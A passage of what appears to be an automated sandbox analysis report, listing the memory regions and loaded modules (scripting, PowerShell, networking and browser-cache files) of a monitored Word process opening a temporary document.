Files\\Content.Word\\~WRF{171C2A5E-BE6F-488D-89FC-D6E6E833D852}.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrf{171c2a5e-be6f-488d-89fc-d6e6e833d852}.tmp") Region: id = 506 start_va = 0x752d0000 end_va = 0x752e2fff monitored = 0 entry_point = 0x752d7cd5 region_type = mapped_file name = "packager.dll" filename = "\\Windows\\SysWOW64\\packager.dll" (normalized: "c:\\windows\\syswow64\\packager.dll") Region: id = 507 start_va = 0x4c0000 end_va = 0x4c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "packager.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\packager.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\packager.dll.mui") Region: id = 508 start_va = 0x752b0000 end_va = 0x752c2fff monitored = 0 entry_point = 0x752b7cd5 region_type = mapped_file name = "packager.dll" filename = "\\Windows\\SysWOW64\\packager.dll" (normalized: "c:\\windows\\syswow64\\packager.dll") Region: id = 509 start_va = 0x4c0000 end_va = 0x4c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 510 start_va = 0x66940000 end_va = 0x66a75fff monitored = 0 entry_point = 0x66945956 region_type = mapped_file name = "comsvcs.dll" filename = "\\Windows\\SysWOW64\\comsvcs.dll" (normalized: "c:\\windows\\syswow64\\comsvcs.dll") Region: id = 511 start_va = 0x752d0000 end_va = 0x752e3fff monitored = 0 entry_point = 0x752d1da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 512 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 513 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 514 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 515 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 516 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 517 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 518 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 519 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 520 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 521 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 522 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 523 start_va = 0x57f0000 end_va = 0x58f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 524 start_va = 0x73b00000 end_va = 0x73b4bfff monitored = 0 entry_point = 0x73b02c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 525 start_va = 0x75280000 end_va = 0x752adfff monitored = 0 entry_point = 0x75281bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 526 start_va = 0x74cb0000 end_va = 0x74cb8fff monitored = 0 entry_point = 0x74cb153e region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll") Region: id = 527 start_va = 0x74c40000 end_va = 0x74caffff monitored = 0 entry_point = 0x74c41f65 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll") Region: id = 528 start_va = 0x74c20000 end_va = 0x74c38fff monitored = 0 entry_point = 0x74c21319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 529 start_va = 0x66930000 end_va = 0x6693afff monitored = 0 entry_point = 0x66931200 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 530 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 531 start_va = 0x66900000 end_va = 0x6692cfff monitored = 0 entry_point = 0x66901351 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\SysWOW64\\scrobj.dll" (normalized: "c:\\windows\\syswow64\\scrobj.dll") Region: id = 532 start_va = 0x66890000 end_va = 0x668fafff monitored = 1 entry_point = 0x66891409 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\SysWOW64\\vbscript.dll" (normalized: "c:\\windows\\syswow64\\vbscript.dll") Region: id = 533 start_va = 0x72b70000 end_va = 0x72ca2fff monitored = 0 entry_point = 0x72b7145e region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll") Region: id = 534 start_va = 0x540000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 535 start_va = 0x8be0000 end_va = 0x8d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008be0000" filename = "" Region: id = 536 start_va = 0x8d70000 end_va = 0x8efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d70000" filename = "" Region: id = 537 start_va = 0x8f00000 end_va = 0x90bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008f00000" filename = "" Region: id = 538 start_va = 0x57f0000 end_va = 0x58affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 539 start_va = 0x4e0000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 540 start_va = 0xf40000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 541 start_va = 0x90c0000 end_va = 0x94bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000090c0000" filename = "" Region: id = 542 start_va = 0x540000 end_va = 0x540fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\SysWOW64\\msxml3r.dll" (normalized: "c:\\windows\\syswow64\\msxml3r.dll") Region: id = 543 start_va = 0x550000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 544 start_va = 0x590000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 545 start_va = 0x66790000 end_va = 0x66888fff monitored = 0 entry_point = 0x667b3abe region_type = mapped_file name = "msado15.dll" filename = "\\Program Files (x86)\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado15.dll") Region: id = 546 start_va = 0x66770000 end_va = 0x6678efff monitored = 0 entry_point = 0x6677a47a region_type = mapped_file name = "msdart.dll" filename = "\\Windows\\SysWOW64\\msdart.dll" (normalized: "c:\\windows\\syswow64\\msdart.dll") Region: id = 547 start_va = 0x94c0000 end_va = 0x965ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000094c0000" filename = "" Region: id = 548 start_va = 0x66740000 end_va = 0x66760fff monitored = 0 entry_point = 0x6674e356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 549 start_va = 0x66720000 end_va = 0x66731fff monitored = 0 entry_point = 0x66721200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 550 start_va = 0x666f0000 end_va = 0x66719fff monitored = 0 entry_point = 0x666f13f2 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 551 start_va = 0x36a0000 end_va = 0x36c7fff monitored = 0 entry_point = 0x36a145e region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll") Region: id = 552 start_va = 0x3640000 end_va = 0x3641fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003640000" filename = "" Region: id = 553 start_va = 0x3650000 end_va = 0x365ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 554 start_va = 0x36f0000 end_va = 0x36f7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 555 start_va = 0x3700000 end_va = 0x370ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 556 start_va = 0x73e60000 end_va = 0x73ea3fff monitored = 0 entry_point = 0x73e763f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 557 start_va = 0x89a0000 end_va = 0x8adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089a0000" filename = "" Region: id = 558 start_va = 0x73e40000 end_va = 0x73e5bfff monitored = 0 entry_point = 0x73e4a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 559 start_va = 0x74090000 end_va = 0x74096fff monitored = 0 entry_point = 0x7409128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 560 start_va = 0x73c70000 end_va = 0x73cc1fff monitored = 0 entry_point = 0x73c714be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 561 start_va = 0x73c50000 end_va = 0x73c64fff monitored = 0 entry_point = 0x73c512de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 562 start_va = 0x73c40000 end_va = 0x73c4cfff monitored = 0 entry_point = 0x73c41326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 563 start_va = 0x3750000 end_va = 0x3750fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003750000" filename = "" Region: id = 564 start_va = 0x3750000 end_va = 0x3750fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003750000" filename = "" Region: id = 565 start_va = 0x5630000 end_va = 0x566ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005630000" filename = "" Region: id = 566 start_va = 0x9680000 end_va = 0x977ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009680000" filename = "" Region: id = 567 start_va = 0x73c30000 end_va = 0x73c35fff monitored = 0 entry_point = 0x73c3125a region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 568 start_va = 0x7ef6d000 end_va = 0x7ef6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef6d000" filename = "" Region: id = 569 start_va = 0x6560000 end_va = 0x659ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006560000" filename = "" Region: id = 570 start_va = 0x9780000 end_va = 0x987ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009780000" filename = "" Region: id = 571 start_va = 0x73df0000 end_va = 0x73e2bfff monitored = 0 entry_point = 0x73df145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 572 start_va = 0x7ef6a000 end_va = 0x7ef6cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef6a000" filename = "" Region: id = 573 start_va = 0x73de0000 end_va = 0x73de4fff monitored = 0 entry_point = 0x73de15df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 574 start_va = 0x77120000 end_va = 0x77122fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 575 start_va = 0x9880000 end_va = 0x9a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009880000" filename = "" Region: id = 576 start_va = 0x8be0000 end_va = 0x8d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008be0000" filename = "" Region: id = 577 start_va = 0x8d30000 end_va = 0x8d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d30000" filename = "" Region: id = 578 start_va = 0x73d40000 end_va = 0x73d45fff monitored = 0 entry_point = 0x73d414b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 579 start_va = 0x3760000 end_va = 0x3770fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 580 start_va = 0x58d0000 end_va = 0x590ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000058d0000" filename = "" Region: id = 581 start_va = 0x5df0000 end_va = 0x5e8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005df0000" filename = "" Region: id = 582 start_va = 0x9880000 end_va = 0x997ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009880000" filename = "" Region: id = 583 start_va = 0x9a70000 end_va = 0x9a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a70000" filename = "" Region: id = 584 start_va = 0x7ef67000 end_va = 0x7ef69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef67000" filename = "" Region: id = 585 start_va = 0x3780000 end_va = 0x3794fff monitored = 0 entry_point = 0x37813f2 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 586 start_va = 0x3d80000 end_va = 0x3d8bfff monitored = 0 entry_point = 0x3d8e356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 587 start_va = 0x57f0000 end_va = 0x582ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 588 start_va = 0x5870000 end_va = 0x58affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005870000" filename = "" Region: id = 589 start_va = 0x8c00000 end_va = 0x8cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c00000" filename = "" Region: id = 590 start_va = 0x7ef64000 end_va = 0x7ef66fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef64000" filename = "" Region: id = 591 start_va = 0x740f0000 end_va = 0x74b6ffff monitored = 0 entry_point = 0x740f6b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 592 start_va = 0x740b0000 end_va = 0x740ebfff monitored = 0 entry_point = 0x740b3089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 593 start_va = 0x3d90000 end_va = 0x3d90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 594 start_va = 0x3da0000 end_va = 0x3da1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003da0000" filename = "" Region: id = 595 start_va = 0x47e0000 end_va = 0x47e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 596 start_va = 0x49b0000 end_va = 0x49dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 597 start_va = 0x47f0000 end_va = 0x47f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 598 start_va = 0x5bb0000 end_va = 0x5c15fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 599 start_va = 0x4800000 end_va = 0x480dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 615 start_va = 0x89a0000 end_va = 0x8a08fff monitored = 0 entry_point = 0x89ad330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 616 start_va = 0x8aa0000 end_va = 0x8adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008aa0000" filename = "" Region: id = 635 start_va = 0x4850000 end_va = 0x4852fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vbscript.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\vbscript.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\vbscript.dll.mui") Region: id = 636 start_va = 0x48a0000 end_va = 0x48a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "scrobj.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\scrobj.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\scrobj.dll.mui") Region: id = 663 start_va = 0x36a0000 end_va = 0x36a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036a0000" filename = "" Region: id = 668 start_va = 0x4be0000 end_va = 0x4c25fff monitored = 0 entry_point = 0x4be304e region_type = mapped_file name = "fltldr.exe" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\fltldr.exe") Region: id = 827 start_va = 0x36b0000 end_va = 0x36b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000036b0000" filename = "" Region: id = 828 start_va = 0x36c0000 end_va = 0x36c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000036c0000" filename = "" Region: id = 829 start_va = 0x3780000 end_va = 0x3780fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 830 start_va = 0x89a0000 end_va = 0x8a6bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 831 start_va = 0x8be0000 end_va = 0x8cadfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 832 start_va = 0x9a80000 end_va = 0x9e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a80000" filename = "" Region: id = 833 start_va = 0x65f00000 end_va = 0x65f25fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alrtintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\alrtintl.dll") Region: id = 834 start_va = 0x65eb0000 end_va = 0x65ed5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alrtintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\alrtintl.dll") Region: id = 835 start_va = 0x4be0000 end_va = 0x4c06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alrtintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\alrtintl.dll") Region: id = 836 start_va = 0x4be0000 end_va = 0x4c06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alrtintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\alrtintl.dll") Region: id = 837 start_va = 0x9e40000 end_va = 0xb194fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\SysWOW64\\imageres.dll" (normalized: "c:\\windows\\syswow64\\imageres.dll") Region: id = 839 start_va = 0x36a0000 end_va = 0x36a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\imageres.dll.mui") Region: id = 840 start_va = 0x3780000 end_va = 0x3780fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 844 start_va = 0x3790000 end_va = 0x3793fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 845 start_va = 0x3d80000 end_va = 0x3d83fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 846 start_va = 0x4ae0000 end_va = 0x4ae0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 847 start_va = 0x4af0000 end_va = 0x4af3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 848 start_va = 0x4b40000 end_va = 0x4b40fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{228385d3-b646-481b-b0de-f0c3a58f5423}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{228385D3-B646-481B-B0DE-F0C3A58F5423}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{228385d3-b646-481b-b0de-f0c3a58f5423}.2.ver0x0000000000000001.db") Region: id = 849 start_va = 0x4b50000 end_va = 0x4b53fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 850 start_va = 0x4be0000 end_va = 0x4be0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{87178f01-581a-45f0-9991-3f918faa83f1}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{87178F01-581A-45F0-9991-3F918FAA83F1}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{87178f01-581a-45f0-9991-3f918faa83f1}.2.ver0x0000000000000001.db") Region: id = 851 start_va = 0x4bf0000 end_va = 0x4bf3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 852 start_va = 0x4c00000 end_va = 0x4c00fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{c353f91e-d25f-48f0-a2cd-9f60b2681e9a}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{C353F91E-D25F-48F0-A2CD-9F60B2681E9A}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{c353f91e-d25f-48f0-a2cd-9f60b2681e9a}.2.ver0x0000000000000001.db") Region: id = 853 start_va = 0x4c10000 end_va = 0x4c13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 854 start_va = 0x4c20000 end_va = 0x4c20fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{2f368d22-02bf-4413-97d1-c886cb140911}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{2F368D22-02BF-4413-97D1-C886CB140911}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{2f368d22-02bf-4413-97d1-c886cb140911}.2.ver0x0000000000000001.db") Region: id = 855 start_va = 0x5440000 end_va = 0x5467fff monitored = 0 entry_point = 0x544145e region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll") Region: id = 856 start_va = 0x5df0000 end_va = 0x5e8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005df0000" filename = "" Region: id = 857 start_va = 0x5570000 end_va = 0x5584fff monitored = 0 entry_point = 0x55713f2 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: 